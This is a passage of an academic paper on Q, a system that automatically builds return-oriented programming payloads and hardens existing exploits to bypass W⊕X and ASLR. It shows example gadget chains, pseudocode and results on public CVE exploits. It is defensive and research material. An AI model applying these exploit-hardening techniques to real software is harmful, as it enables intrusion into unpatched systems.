Windows Vista and 7 [29, 43] can randomize the loca-
tions of the program image, stack, heap, and libraries, but
only when the program and all of its libraries opt-in to
ASLR. If they do not, some code is left unrandomized.
Many third-party applications including Oracle’s Java
JRE, Adobe Reader, Mozilla Firefox, and Apple Quick-
time (or one of their libraries) are not marked as ASLR
compatible [36]. Ultimately, this means most Windows
binaries have unrandomized code.

Limitations Some attacks on ASLR implementations
take advantage of the low entropy available for random-
ization. For instance, Shacham, et al. [42] show that
brute forcing ASLR on a 32-bit platform takes about 200
seconds on average. (We do not consider attacks that
take more than one attempt in this paper; we create ex-
ploits that succeed on the first try.) Other attacks, such as
ret2reg attacks, allow the attacker to transfer control
to their payload by utilizing pointers leaked in registers
or memory [32]. For instance, the strcpy function re-
turns such a pointer to the destination string in the %eax
register. The applicability of these attacks are heavily
dependent on the vulnerable program.

3
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addr1

memValue

addr2

memAddr

addr3

nextAddr

pop %eax
ret

pop %ebp

ret

ret

H
ig

he
rM

em
or
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32-bits
Consumed By

Instruction

Figure 1: Example payload for storing memValue to
memAddr for the scenario described in the text. This
payload will transfer control to address nextAddr after
writing to memory.

2.3 Return Oriented Programming

Return Oriented Programming is a generalization of the
return-to-libc attack. In a return-to-libc attack the attacker
reuses entire functions from libc. With ROP, the attacker
uses instruction sequences found in memory, called gad-
gets, and chains them together. ROP attacks are desir-
able because they allow the attacker to perform compu-
tations beyond the functions of libc (or whatever code
is unrandomized). This is especially important in the
context of modern systems, because the unrandomized
code may not contain useful funcions for the attacker.
Researchers [16, 21, 41] have shown that it is possible to
find gadgets for performing Turing-complete operations
in libc, the windows kernel, and mobile phone libraries.

Example 2.1 (Return Oriented Programming). Assume
that the following instruction sequences are in memory
at addr1: pop %eax; ret; at addr2: pop %ebp;
ret; and at addr3: movl %eax, (%ebp); ret.
The first two sequences pop a 32-bit value from the stack,
store it into a register, and then jump to the address stored
on the stack. If the attacker controls the stack and can
cause one of these instruction sequences to execute, then
the attacker can put values in %eax and %ebp and transfer
control to another address. By chaining together all three
instruction sequences, the attacker can write to memory
(and still transfer control to the next gadget). The at-
tacker’s payload for writing memValue to memAddr is
shown in Figure 1. It is possible to execute arbitrary
programs by stringing together gadgets of different types.

3 System Overview

In the next two sections, we describe Q4, our system for
automatic exploit hardening. Figure 2 shows the end-to-
end workflow of Q, which is divided into two phases. The
first phase automatically generates ROP payloads (Sec-
tion 4). The second phase is exploit hardening (Section 5).
In exploit hardening, Q takes the ROP payloads gener-
ated in the first stage and transplants them into existing
exploits which do not bypass defenses. The resulting
exploit can then bypass W⊕X and ASLR.

4 Automatically Generating Return-
Oriented Payloads

Q’s end-to-end return oriented programming system con-
sists of a number of different stages. Previous research
on automated ROP has typically focused on one specific
stage; for instance, gadget discovery [16, 24, 38] or com-
pilation [6]. Since Q is an end-to-end ROP system, it has
multiple stages. We describe each stage in the context of
a user’s potential interaction with the system below.

4.1 Example Usage Scenario
Assume that Alice wants to create a ROP payload that
calls system (her target program) using instructions
from rsync’s unrandomized code (her source program).
Here, source program means the program from which Q
takes instruction sequences to construct gadgets (e.g., the
program with a vulnerability), and target program means
the program Alice wants to run (using ROP). Alice would
use the following stages of Q, which are depicted in the
top half of Figure 2:

Gadget Discovery The first stage of Q is to find gad-
gets in the source program that Alice provides — in this
case, rsync. The gadgets will be the building blocks for
the ROP payloads that are ultimately created, and thus it is
important to find as many as possible. Q finds gadgets of
various types (specified in Table 2) by using semantic pro-
gram verification techniques on the instruction sequences
found in rsync.

Q’s semantic engine allows it to find gadgets that hu-
mans might miss. For instance, Q can automatically
determine that lea (%ebx,%ecx,1),%eax; ret
adds %ebx with %ecx and stores the result in %eax.
Likewise it discovers that sbb %eax, %eax; neg
%eax; ret moves the carry flag (CF) to %eax.

4We name our system after Q from the James Bond movies, who cre-
ates, modifies, and combines gadgets to help Bond meet his objectives.
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Figure 2: An overview of Q’s design.

Input Alice writes the target program that she wants to
execute in Q’s high level language, QooL (shown in Table
3). The target program calls system with the desired
arguments (e.g., /bin/sh).

Gadget Arrangement Q builds a list of gadget ar-
rangements. Each gadget arrangement is a way of im-
plementing the target program using different types of
gadgets. For example, we show a gadget arrangement
for writing to memory in Figure 3; this arrangement is
the most natural way of storing to memory, but will not
work if Q can not find a STOREMEMG gadget. Gadget
arrangement is somewhat analogous to instruction selec-
tion in a compiler. A major difference is that a regular
compiler can use whichever instructions it chooses, but
Q is limited to the gadget types that were found during
gadget discovery.

Gadget arrangement allows Q to cope with missing
gadgets. If the most natural choice of gadget is not avail-
able, Q effectively tries to synthesize a combination of
other gadgets that will have the same semantics. We are
not aware of other ROP compilers that consider this.

Gadget Assignment Gadget assignment takes gadgets
found during discovery, and assigns them in the arrange-
ments that Q generated. The difficulty is that assignments
must be compatible. This means that the output register of
one gadget must match the input register on the receiving
gadget. Likewise, gadgets cannot clobber a register if that
value is waiting to be used by a future gadget. This phase
is roughly analogous to register allocation in a traditional
compiler. Unlike a traditional compiler, Q cannot spill
registers to memory, since this usually increases register
pressure instead of decreasing it. As an example, Q as-
signs the following gadgets from rsync to implement
the gadget arrangement in Figure 3:
; Load value into %eax

pop %ebp; ret; xchg %eax, %ebp; ret

; Load address-0x14 into %ebx

pop %ebx; pop %ebp; ret

; Store memory

mov %eax, 0x14(%ebx); ret

Output Finally, as long as at least one of the gadget
arrangements has been assigned compatible gadgets, Q
prints out payload bytes that Alice can use in her exploit.
If Alice already has an exploit that no longer works be-
cause of W⊕X and ASLR, she can feed in the generated
ROP payload along with her old exploit to the second
phase of Q (see Section 5) to harden her exploit against
these defenses.

We now explain each stage of Q in more detail.

4.2 Gadget Discovery
Not every instruction sequence can be used as a gadget.
Q requires each gadget to satisfy four properties:
Functional Each gadget has a type (from Table 2) that

defines its function. In our system, a gadget’s type
is specified semantically by a boolean predicate that
must always be true after executing the gadget.

Control Preserving Each gadget must be capable of
transferring control to another gadget. In our system,
this means that the gadget must end with ret or
some semantically equivalent instruction sequence
(e.g., pop %eax; jmp *%eax).

Known Side-effects The gadget must not have unknown
side-effects. For instance, the gadget must not write
to any undesired memory locations.

Constant Stack Offset Most gadget types require the
stack pointer to increase by a constant offset after
each execution.

Although we found these requirements to work well,
we discuss alternatives to the control preservation and
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known side-effects requirements in Section 8.

4.2.1 Gadget Types

The set of gadget types in Q defines a new instruction
set architecture (ISA) in which each gadget type func-
tions as an instruction. At a high-level, we specify the
meaning of each gadget type with a postcondition B that
must be true after executing it. Prior work has used dif-
ferent mechanisms for specifying gadget types, including
pattern matching on assembly instructions [21, 38] and
expression tree matching [16]. We found postconditions
to be more natural than these mechanisms. An instruction
sequence I satisfies a postcondition B if and only if the
post condition is true after running I from any starting
state. The starting state consists of assignments to reg-
isters and memory. The full list of gadget types that Q
can recognize is in Table 2, along with the corresponding
semantic definition postconditions.

4.2.2 Semantic Analysis

Given an instruction sequence I and a semantic definition
B, Q must decide if I will satisfy B. For this, we use a
well-known technique from program verification for com-
puting the weakest precondition of a program [15, 17, 23].
At a high level, the weakest precondition WP(I,B) for
instructions I and postcondition B is a boolean precon-
dition that describes when I will terminate in a state
satisfying B.

We use weakest preconditions in Q to verify whether
the semantic definition of a gadget always holds after
executing the instruction sequence I. To do this, we
check if

WP(I,B) ≡ true. (1)

If this formula is valid, then B always holds after execut-
ing I, and we can conclude that I is a gadget with the
semantic type B.

Our first prototype used only this semantic analysis.
We found that it was too slow to be practical. We sped
up the entire process by performing a number of random
concrete executions, and evaluating each B concretely to
see if it was true. If B was false for any concrete input,
then the instruction sequence could not be a gadget for
that gadget type. Thus, we only need to invoke the more
expensive weakest precondition process when B is true
for every random concrete execution.

Random concrete execution can also be used to infer
possible parameter values (shown in Table 2) using dy-
namic analysis. For instance, by looking at the values
of all registers, and the addresses that memory was read

from, Q can compute a set of possible offsets for the
LOADMEMG gadget type.

As an example of how a gadget type is tested, con-
sider the LOADMEMG gadget type in Table 2. LOAD-
MEMG gadgets operate on two registers: the output reg-
ister and the address register. Each LOADMEMG gadget
has two parameters that are specific to a particular in-
struction sequence I . These will be found using dynamic
analysis as described above. For instance, the instruc-
tion sequence movl 0xc(%eax), %ebx; ret is a
LOADMEMG gadget with parameters {# Bytes ← 4} and
{Offset ← 12} and registers {OutReg ← %ebx} and
{AddrReg ← %eax}. The semantics for this instruction
sequence would be %ebx ← M[%eax + 12]. Q converts
this to final(%ebx) = initial(M [%eax + 12]),
which is the postcondition B that is checked for validity.

4.2.3 Gadget Discovery Algorithm

Our techniques for gadget discovery consist of two algo-
rithms. The first, shown in Algorithm 1, tests whether
or not the semantics of an instruction sequence I match
those of any gadget type using randomized concrete test-
ing and validity checking of the weakest precondition. Al-
gorithm 1 also outputs some metadata (not shown) about
each gadget for use in other Q algorithms, including the
gadget’s address, stack offset, and any registers that the
gadget clobbers. The second algorithm iterates over the
executable bytes of the source program, disassembles
them, and calls the first algorithm as a subroutine. This
is similar to the Galileo [41] algorithm, and so we do not
replicate it here.
Algorithm 1 Automatically test an instruction sequence
I for gadgets

Input: I, numRuns, gadgetTypes[]
for i = 1 to numRuns do

outState[i] ← I(Random input)
end for

5: for gtype ∈ gadgetTypes do
B ← postconditions[gtype]
consistent ← true
for j = 1 to numRuns do

if B(outState[j]) ≡ false then
10: consistent ← false

end if
end for
if consistent = true then {Possibly a gadget of type gtype}

F ← wp(I,B)
15: if decisionProc(F ≡ true) = Valid then

output {Output gadget I as type gtype}
end if

end if
end for
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Name Input Parameters Semantic Definition

NOOPG — — Does not change memory or registers

JUMPG AddrReg Offset EIP ← AddrReg + Offset

MOVEREGG InReg, OutReg — OutReg ← InReg

LOADCONSTG OutReg, Value — OutReg ← Value

ARITHMETICG InReg1, InReg2, OutReg ♦b OutReg ← InReg1 ♦b InReg2

LOADMEMG AddrReg, OutReg # Bytes, Offset OutReg ← M[AddrReg + Offset]

STOREMEMG AddrReg, InReg # Bytes, Offset M[AddrReg + Offset] ← InReg

ARITHMETICLOADG OutReg, AddrReg # Bytes, Offset, ♦b OutReg ♦b← M[AddrReg + Offset]

ARITHMETICSTOREG InReg, AddrReg # Bytes, Offset, ♦b M[AddrReg + Offset] ♦b← InReg

Table 2: Types of gadgets that Q can find. M[addr] means accessing memory at address addr. ♦b means an arbitrary
binary operation. a ← b denotes that final value of a equals the initial value of b. X ♦b← Y is short for X ← X ♦b Y.

4.3 Gadget Arrangement
Q acts similar to a compiler — it reads in programs written
in QooL (discussed below) and tries to implement them in
terms of the gadgets shown in Table 2. The gadgets define
an instruction set architecture. Thus, we can use some
techniques from compiler theory. However, Q must deal
with several hard problems not faced by most compilers:

• Only a few registers can be used for moving, access-
ing memory, and performing arithmetic operations.

• Most instructions will clobber (modify) the majority
of available registers.

• Some instruction types may not be available at all.

Although we use existing compiler techniques when
possible, many of the standard compiler techniques break
down.

4.3.1 Q’s Language: QooL

Users write the target program in Q’s high level language,
QooL, which is displayed in Table 3. QooL enables
the user to easily interact with the exploited program’s
environment. For instance, the attacker can do this by
calling a function (e.g., system), overwriting values in
memory, or copying and running a binary payload (when
W⊕X is not present or has been disabled by first calling
mprotect or a similar function). QooL is not Turing-
complete; we discuss this further in Section 8.

4.3.2 Arrangements

One of the essential tasks of a compiler is to perform
instruction selection, since there are many combinations
of instructions that can implement a given computation.
The gadget architecture is no exception, as there are many
ways of combining gadget types to produce a particular

<exp> ::=

LoadMem <exp> <type>

| BinOp <binop type> <exp> <exp>

| Const <int> <type>
<stmt> ::=

StoreMem <exp> <exp> <type>

| Assign <var> <exp>

| CallExternal <func> <exp list>

| Syscall

Table 3: Grammar for our high level language, QooL.

computation. We specify each combination of gadgets
using a gadget arrangement.

A gadget arrangement is a tree in which the vertices
represent gadget types5, and an edge labeled type from a
to b means that the output of gadget a is used for the type
input in gadget b. An example arrangement is shown in
Figure 3.

One simple algorithm for performing instruction selec-
tion (or selecting a gadget arrangement, in our case) is
the maximal munch algorithm [1]. Maximal munch as-
sumes that any instruction selected as the best will always
be available for use. This assumption makes sense in a
traditional compiler, since on a normal architecture there
are few restrictions on when instructions can be used.

A gadget arrangement algorithm cannot make such
assumptions. Any particular gadget type chosen by max-
imal munch might not be available at that point in the
program because Q did not find any or the registers in the
gadgets are not compatible with other gadgets needed.

Instead of using maximal munch, Q employs every
munch. Rather than selecting only one arrangement of

5Vertices also include parameters that are relevant to the computation,
such as binary operator type and number of bytes for memory operations.
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Address
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LoadReg

StoreMem, u32
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Figure 3: A gadget arrangement for storing a constant
value to a constant address. A possible schedule for the
arrangement is denoted by the time slots Ti’s.

gadget types as maximal munch would, every munch
lazily builds a tree representing all possible ways that
gadget types can be arranged to perform a computation.
This is done by recursively applying munch rules to the
program being compiled.

4.3.3 Munch Rules

Each QooL language construct has at least one munch
rule that can implement the construct in terms of the
implementations of its subexpressions. For instance, the
obvious munch rule for the StoreMem statement is to
use a STOREMEMG gadget, which we show below in
ML-style pseudo code.

1 munch = f u n c t i o n
2 | StoreMem ( e1 , e2 , t ) −>
3 l e t e 1 l = munch e1 i n
4 l e t e 2 l = munch e2 i n
5 (∗ For each e1g , e2g i n C a r t e s i a n
6 p r o d u c t o f e 1 l and e 2 l do : ∗ )
7 a d d o u t p u t ( StoreMemG ( addr =e1g ,

v a l u e =e2g , t y p = t ) ) ;

Our initial implementation only contained these obvious
rules. We quickly found that it could not find payloads
for most binaries.

We found that, in practice, many binaries do not contain
gadgets for directly storing to memory (STOREMEMG
in Table 2). We provide evidence of this in Section 7.1.
However, if Q can learn or set the value in memory to 0
or -1, it can use an ARITHMETICSTOREG gadget with
mathematical identities to write an arbitrary value. As
one example, Q can write zero to memory by bitwise
and’ing the memory location with zero, and then adding
the desired number. The example below shows the com-
plicated return oriented program Q discovered for writing
a single byte to memory with bitwise or, using gadgets

from apt-get. More straightforward options were not
available.

; Load eax: -1
pop %ebp; ret; xchg %eax, %ebp; ret
; Load ebx: address-0x5e5b3cc4
pop %ebx; pop %ebp; ret
; Write -1
or %al, 0x5e5b3cc4(%ebx); pop %edi;

pop %ebp; ret
; Load eax: value + 1
pop %ebp; ret; xchg %eax, %ebp; ret
; Load ebp: address-0xf3774ff
pop %ebp; ret
; Add value + 1
add %al,0xf3774ff(%ebp);

movl $0x85, %dh; ret

4.4 Gadget Assignment
Q must determine if a gadget arrangement can be satisfied
using the gadgets it discovered in the source program.
This process is called gadget assignment. The goal is
to assign gadgets found during discovery to the vertices
of arrangements, and see if the assignment is compati-
ble. After a successful gadget assignment, the output is
a mapping from gadget arrangement vertices to concrete
gadgets. It is straightforward to print a ROP payload with
this mapping.

Gadget assignments need a schedule, since the gadgets
must execute in some order. Selecting a valid schedule
is not always easy because there are data dependencies
between different gadgets. For instance, if the gadget at
T2 clobbers (overwrites) the Value register in Figure 3, the
gadget at T3 will not receive the correct input. To resolve
such dependencies between gadgets, a gadget assignment
and corresponding schedule must satisfy these properties:
Matching Registers Whenever the result of gadget a is

used as input type to gadget b, then the two registers
should match, i.e., OutReg(a) = InReg(b, type).

No Register Clobbering If the output of gadget a is
used by gadget b, then a’s output register should not
be clobbered by any gadget scheduled between a and
b. For example, for the schedule shown in Figure 3,
the LOADCONSTG operation during T2 should not
clobber the result of the previous LOADCONSTG
that happened during T1.

We say that a gadget assignment and schedule are com-
patible when the above properties hold, and that a gadget
arrangement that has a compatible assignment and sched-
ule is satisfiable.

Although deciding whether a given gadget schedule
and assignment are compatible is straightforward (i.e.,
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just ensure the above properties are satisfied), creating a
practical algorithm to search for satisfiable arrangements
is more complicated. The most straightforward approach
is to iterate over all possible arrangements, schedules, and
assignments, but this is simply too inefficient.

Instead, our key observation is that if a gadget arrange-
ment GA is unsatisfiable, then any GA’ that contains GA
as a subtree is unsatisfiable as well. Our algorithm at-
tempts to satisfy iteratively larger subtrees until it fails, or
has satisfied the entire arrangement. If the algorithm fails
on a subtree, it aborts the entire arrangement. Since most
arrangements are unsatisfiable, this saves considerable
time. (If most arrangements are satisfiable, the search will
not take very long anyway.)

Our assignment algorithms are found in Algorithms
2 and 3. Algorithm 2 is a naive search over a schedule
for all possible gadget assignments. Algorithm 3 is a
caching wrapper that caches results and calls Algorithm 2
on iteratively larger subtrees. It stops as soon as it finds a
subtree which cannot be satisfied. Q calls Algorithm 3 on
each possible gadget arrangement until one is satisfiable
or there are none left.

The algorithms make use of several data structures:

• C: V → {0, 1, ?} is a cache that maps a gadget
arrangement vertex to one of true, false, or unknown.

• S: V → N represents the current schedule as a one-
to-one mapping between each vertex and its position
in the schedule.

• G: V → G is the current assignment of each vertex
to its assigned gadget.

Q can also search for assignments that meet other con-
straints. For instance, Q can search for assignments that
would result in a payload smaller than a user-specified
size. This is useful because ROP payloads are typically
larger than conventional payloads, and vulnerabilities usu-
ally limit the number of payload bytes that can be written.

5 Creating Exploits that Bypass ASLR and
W⊕X

In the previous section, we described how to generate
return oriented payloads. If an attacker can redirect exe-
cution to the payload in the memory space of the vulnera-
ble program by creating an exploit, then the computation
specified by the payload will occur. In this section, we
explain how Q can automatically create such an exploit
when given an input exploit that does not bypass ASLR
and W⊕X.

We call this the exploit hardening problem. Specifi-
cally, in the exploit hardening problem we are given a

Algorithm 2 Find a satisfying schedule and gadget as-
signment for GA

Input: S,G, nodeNum
V ← S−1(nodeNum) {Obtain vertex in GA for nodeNum}
if V = ⊥ then {Base case to end recursion}

return true
5: end if

gadgets ← GADGETSOFTYPE(GADGETTYPE(V))
for all g ∈ gadgets do

if ISCOMPATIBLE(G, nodeNum, g) then {Ensure g is com-
patible with all gadgets before time slot nodeNum}

if Algorithm 2(S,G[V ← g], nodeNum + 1) then {Try
to schedule later schedule slots}

10: return true
end if

end if
end for
return false {No gadgets matched}

Algorithm 3 Iteratively try to satisfy larger subtrees of a
GA, caching results over all arrangements.

Input: GA,C
for all GA′ ∈ SUBTREES(GA) do {In order from shortest to
tallest}

if C(GA′) = ? then
C(GA′) ← exists S ∈ SCHEDULES(GA′) such that
Algorithm 2(S, EMPTY, 0) = true

5: end if
if C(GA′) = false then {Stop early if a subtree cannot be
satisfied}

return false
end if

end for
10: return C(GA) {Return the final value from the cache}

program P and an input exploit that triggers a vulnera-
bility. The input exploit can be an exploit that does not
bypass defenses, or can even be a proof of concept crash-
ing input. The goal is to output an exploit for P that
bypasses W⊕X and ASLR.

Intuitively, the input exploit should provide useful in-
formation about a vulnerability in P . Q uses this infor-
mation to consider other inputs that follow the execution
path of the input exploit (i.e., the sequence of conditional
branches and jumps taken by an execution of the input)
on P , and attempts to find a new input that uses a return-
oriented payload instead (Section 4).

Q does not always succeed (e.g., sometimes it returns
with no exploit), but we show that it works for real Linux
and Windows vulnerabilities in Section 7. The fact that
our system works with even a few real exploits means that
an attacker can sometimes download an exploit and au-
tomatically harden it to one that works even when W⊕X
and ASLR are enabled.

9
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5.1 Background: Generating Formulas
from a Concrete Run

There can be a very large number of inputs along the
vulnerable path. Rather than trying to reason about each
input individually, we build a logical constraint formula
representing all inputs that follow the vulnerable path.
Such constraint formulas have been used in many research
areas, including automatic test case generation, automatic
signature creation, and others [5, 7, 23, 40].

Generating constraint formulas from an input involves
two steps. First, we record at the binary level the concrete
execution of the vulnerable program running on the input
exploit; we call such a recording an execution trace. Our
recording tool incorporates dynamic taint analysis [11, 33,
40] to keep track of which instructions deal with tainted
(or input-derived) data. Our tool uses this information
to 1) record only the instructions that access or modify
tainted data, for performance reasons; and 2) halt the
recording once control-hijacking takes place (i.e., when
the instruction pointer becomes tainted).

After recording the concrete execution, Q symbolically
executes [7, 40] the target program, following the same
path as in the recording. Symbolic execution is similar
to normal execution, except each input byte is replaced
with a symbol (e.g., si for input byte i). Any computation
involving a symbolic input is replaced with a symbolic
expression. Computations not involving a symbolic input
are computed as normal (i.e., using the processor). Any
constraints on the inputs to ensure that execution would
be guided down the same path as the execution trace are
stored in the constraint formula Π.

Before performing any analysis, we use the Binary
Analysis Platform [3] to raise binary code into an inter-
mediate language that is better suited to program analysis.
This frees our analysis from needing to understand the
semantics of each assembly instruction.

5.2 Exploit Constraint Generation

The constraint formula Π describes all inputs that follow
the vulnerable path. In this paper, we are only interested
in inputs that hijack control to our desired computation.
We build two constraints, α (control flow) and Σ (com-
putation), that exclude any inputs that do not work as
exploits. α maps to true only if a program’s control flow
has been diverted, and Σ maps to true only if the payload
for some desired computation is in the exploit.

5.2.1 Assuring Control Flow Hijacking

α takes the form jumpExp = targetExp, where
jumpExp is the symbolic expression representing the
target of the jump that tainted the instruction pointer, and
targetExp depends on the type of exploit.

The value of jumpExp can be obtained from the ex-
ecution trace. Since the trace halts when the program
jumps to a user-derived address, jumpExp is simply the
symbolic expression for the target of this jump. Consider
the following program.

1 x := 2∗ g e t i n p u t ( )
2 goto x

Our trace system would halt the above program at Line
2, because the program jumps to a user-derived address.
The symbolic jump expression from symbolic execution
of the program is 2 ∗ s1. α for this program would be
2 ∗ s1 = targetExp.

For a typical stack exploit, targetExp =
&(shellcode), where & means the address of. With
a return oriented payload, this would usually be
targetExp = &(ret). This assumes that the ROP
payload is located in memory at the address in %esp.
If not, Q can use a pivot, which its ROP system
can automatically find. For instance, targetExp =
&(xchg %eax, %esp; ret) would transfer control
to the ROP payload pointed to by %eax.

5.2.2 Assuring Computation

Computation constraints ensure that the computation pay-
load is available in memory at the proper address at
the time of exploitation. For instance, computation con-
straints for a strcpy buffer overflow would be unsatisfi-
able for a payload containing a null byte, since this would
result in only part of the payload being copied.

Computation constraints take the form Σ =
(mem[payloadBase] = payload[0] ∧ . . . ∧
mem[payloadBase + n] = payload[n]), where
payloadBase denotes the starting address of the pay-
load in memory, and payload denotes the bytes in the
payload (e.g., the ROP payload from Section 4). When
using a basic ROP payload, payloadBase will be set
to %esp, since that is where a ret will start executing.
When using a pivot, this value will depend on the pivot in
the natural way.

5.2.3 Finding an Exploit

By combining these constraints with Π, which only holds
for inputs following the vulnerable path, we can create a
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constraint formula that only describes exploits along the
vulnerable path:

Π ∧ α ∧ Σ. (2)

Any assignment to the initial program state that satisfies
this constraint formula is an exploit for the program se-
mantics recorded in the trace. We use an off the shelf
decision procedure, STP [19], to solve the formulas.

6 Implementation

The ROP component (Section 4) of Q is built on top
of the BAP framework [3]. The implementation for the
gadget discovery, arrangement, and assignment phases
comprises 4,585 lines of ML code. The ROP system uses
the STP [19] decision procedure to determine the validity
of generated weakest preconditions.

Q’s exploit hardening component (Section 5) itself con-
sists of a tracing (recording) component and an analysis
component. We implemented the tracing tool using the
Pin [28] framework, which allows analysis code to in-
strument a running process and take measurements in
between instruction execution. Our tool is optimized to
only record instructions that are considered to be user-
derived; the user can mark any input coming from files,
network sockets, environment variables, or program ar-
guments as being user-derived, and can record processes
that fork (e.g., network daemons). The tracing component
is written in C++, and includes 2,102 lines of code written
for this project.

The analysis portion of the hardening system is imple-
mented in the BAP [3] framework. It consists of com-
ponents that 1) lift the recorded assembly instructions
into the BAP intermediate language, 2) symbolically exe-
cute the trace, obtaining the constraint formula Π, and 3)
compute the constraints α and Σ. Our analysis tool then
uses STP [19] to find a satisfying answer to the resulting
constraint formula, and uses the result to build an exploit.
It also fully understands Windows SEH (structured excep-
tion handler) exploits, in which the exception handler is
overwritten. The analysis implementation is written in
ML, and includes 1,090 new lines of code for this project.

All components of Q are fully capable of reasoning
about Windows and Linux binaries.

7 Evaluation

We evaluate Q’s capabilities to produce ROP payloads
and harden exploits in this section.

7.1 Return Oriented Programming

Applicability We would like to know how often Q can
build ROP payloads when given a random source program
P . To evaluate this, we ran Q on all of the 1,298 ELF
programs in /usr/bin on an author’s Ubuntu 9.10 desk-
top machine and tried to generate various return oriented
payloads. We then discarded the results for the 66 pro-
grams that were marked as ASLR-compatible (PIE). We
used Linux programs for our corpus because it is easier to
gather a typical set of Linux programs than for Windows.
For each program P , we consider if Q can create a ROP
payload to:

Call functions also called by P External functions
called by P have an entry in the program’s Proce-
dure Linkage Table (PLT). Q calls the PLT entries
directly; if the external function has not been loaded,
the dynamic loader will be invoked to load it before
transferring control to the called function.

Call external functions in libc Calling external func-
tions that do not have a PLT entry is more com-
plicated. For this, we build on a technique for cal-
culating the address of functions in libc even when
libc is randomized [39]. This involves more compu-
tation than the above case, and so is more likely to
be unsatisfiable.

Write to memory We consider a payload that writes
four bytes to an arbitrary address.

For each of the target programs above, we measure
whether our system can create a payload for it using in-
struction sequences taken from each source program in
our corpus. We consider an attempt successful if our sys-
tem successfully builds a payload. Note that the attacker
must still find a way to load the payload into memory and
redirect control to it for it to be used as an exploit.

The results of this experiment are shown in Figure 4.
The probability of success for the above payload types is
plotted as a function of source program size. The Call/-
Store line represents the Call functions also called by P
and Write to memory cases above, since the results are
visually indistinguishable. The Call (libc) line represents
Call external functions in libc.

The results support the claim that ROP is more difficult
when there is less binary code. Even so, Q is able to
call linked functions and store arbitrary memory bytes
to arbitrary locations in 80% of binaries that are at least
20KB. Q can also call any function in libc in 80% of
binaries 100KB or larger6.

6The fact that Q generated payloads for so many binaries was dis-
turbing to the author whose machine the programs came from.
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Figure 4: The probability that Q can generate various payload types, shown as a function of source file size. As expected,
the probability grows with file size. The percentage is calculated over non position independent executables. Q can call
linked functions in 80% of programs that are 20KB or larger, and can call any function in linked shared libraries in 80%
of programs that are at least 100KB in size.

Efficiency While we found that semantic gadget discov-
ery techniques are useful for finding gadgets, they are not
very fast. In our implementation, we found that adding a
concrete randomized testing stage increased Q’s perfor-
mance. To measure this, we collected a random sample of
32 programs from our /usr/bin dataset and ran gadget
discovery. For each program, we ran Q twice, once with
randomized testing enabled, and once disabled. Figure 5
shows a boxplot of the elapsed wall times when running
with 16 active threads. (The time difference would be
greater with fewer threads, but the experiment would take
a very long time to complete for the non-randomized
cases.) As expected, Q runs faster when randomized
testing is enabled.
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Figure 5: Boxplots of the time it takes to discover gadgets
from a program for a random sample of 32 programs,
when randomized testing is enabled and disabled.

Sizes Our results from Figure 4 show that larger pro-
grams are generally easier to build return oriented pro-
grams from. Figure 6 shows the sizes of the programs in
our experiments, and compares them to the binaries used
in prior research, libc [38], the iPhone library [16], and

the windows kernel [21]. We note that these binaries are
significantly larger than most /usr/bin programs.

Gadget Frequency Figure 7 shows the frequency of
various types of gadgets in programs larger than 20KB.7

It offers some insight on why ROP on small binaries
is difficult. The most useful gadget types, like STORE-
MEMG and LOADMEMG, are not very common. Instead,
combined gadgets like ARITHMETICSTOREG are more
prevalent. This is not surprising, given that compilers
try to combine operations to optimize efficiency. These
results are what inspired Q’s gadget arrangement system,
which can cope with missing gadget types.

7.2 Exploit Hardening
To evaluate exploit hardening, we tested it with a variety
of publicly available exploits for Linux and Windows.
We consider each experiment a success if Q can harden
a public exploit for real software by producing working
exploits that bypass W⊕X and ASLR. We do not expect
that our system will always produce a hardened exploit.

We compiled each vulnerable program from source
when possible, disabled all defenses (including ASLR and
W⊕X), and then verified that the exploit at least crashed
the vulnerable program. We then ran the exploit through
the exploit hardening component of Q, and created two
payloads that bypass W⊕X and ASLR. These payloads
1) call a linked function and 2) call system(‘‘w’’)

7These results are after a pre-processing step that throws away re-
dundant gadgets. A gadget g1 is redundant to g2 if they both have the
same type and input registers, and g1 clobbers a superset of the registers
that g2 clobbers. This is why there is only one NOOPG gadget type
listed for all programs, even though every ret instruction can be used
as a NOOPG.
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Figure 6: The empirical cumulative distribution function of the file sizes in /usr/bin. In this graph, a point at (x, y)
means that 100y percent of the files in /usr/bin have a size less than or equal to x bytes. We also show the sizes of
the iPhone libsystem library [16], libc [38] and the windows kernel [21], which prior work has targeted. libc and the
iPhone library are both larger than 95% of the programs in our corpus, while the windows kernel is larger than 99%.
We plot dotted lines at 20 and 100KB for reference; these are the sizes at which Q works well, as shown in Figure 4.

Figure 7: The frequency of various types of gadgets in /usr/bin programs larger than 20KB.

on Linux or WinExec(‘‘calc.exe’’) on Windows.
We tested these two exploits with ASLR and W⊕X en-
abled. The results of these experiments are shown in
Table 4.

We found that our system was able to harden exploits
for several large, real programs. In general, our sys-
tem performed as expected: it only output exploits that
worked, and in some cases reported it could not produce
a hardened exploit.

8 Discussion

Ret-less ROP When we designed Q, no one had shown
that ROP was possible without using ret-like instruc-
tions. Since then, Checkoway, et al. have shown [8] that
it is possible to create a Turing-complete gadget set that
does not use ret instructions. Their gadgets have control
flow preservation preconditions. For example, the gadget
pop %eax; jmp *%edx only preserves control flow
if %edx is preset to the next gadget address. Q does not
make any assumptions about the preconditions for a gad-
get when considering control flow preservation, which

prevents it from finding gadgets of the above form. We
leave it as future work to determine whether it is possible
to automatically construct ROP exploit payloads that do
not use ret instructions.

Side effects Q conservatively handles side effects by
discarding any instruction sequence that might cause
the program to crash, such as a pointer dereference.
As one example, pushl %eax; popl %ebx; ret
will move the value in %eax to %ebx. Since a
MOVEREGG gadget does not intentionally use memory,
however, Q would discard this gadget. We plan to add a
more advanced memory analysis that can statically detect
when a memory access will be safe, which will allow Q
to use more gadgets.

Turing completeness Q’s language for describing tar-
get programs, QooL, is not Turing-complete. Our early
tests revealed that the ARITHMETICG gadgets needed
for conditional jumps, such as equality tests, were often
unavailable in small programs. As a result, we focused on
the gadgets needed for practical exploitation, rather than

13
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Program Reference Tracing Analysis Call Linked Call System OS SEH

Free CD to MP3 Converter OSVDB-69116 89s 41s Yes Yes Win No

FatPlayer CVE-2009-4962 90s 43s Yes Yes Win Yes

A-PDF Converter OSVDB-67241 238s 140s Yes Yes Win No

A-PDF Converter OSVDB-68132 215s 142s Yes Yes Win Yes

MP3 CD Converter Pro OSVDB-69951 103s 55s Yes Yes Win Yes

rsync CVE-2004-2093 60s 5s Yes Yes Lin NA

opendchub CVE-2010-1147 195s 30s Yes No Lin NA

gv CVE-2004-1717 113s 124s Yes Yes Lin NA

proftpd CVE-2006-6563 30s 10s Yes Yes Lin NA

Table 4: A list of public exploits hardened by Q. For each exploit, we record how long the trace and analysis components
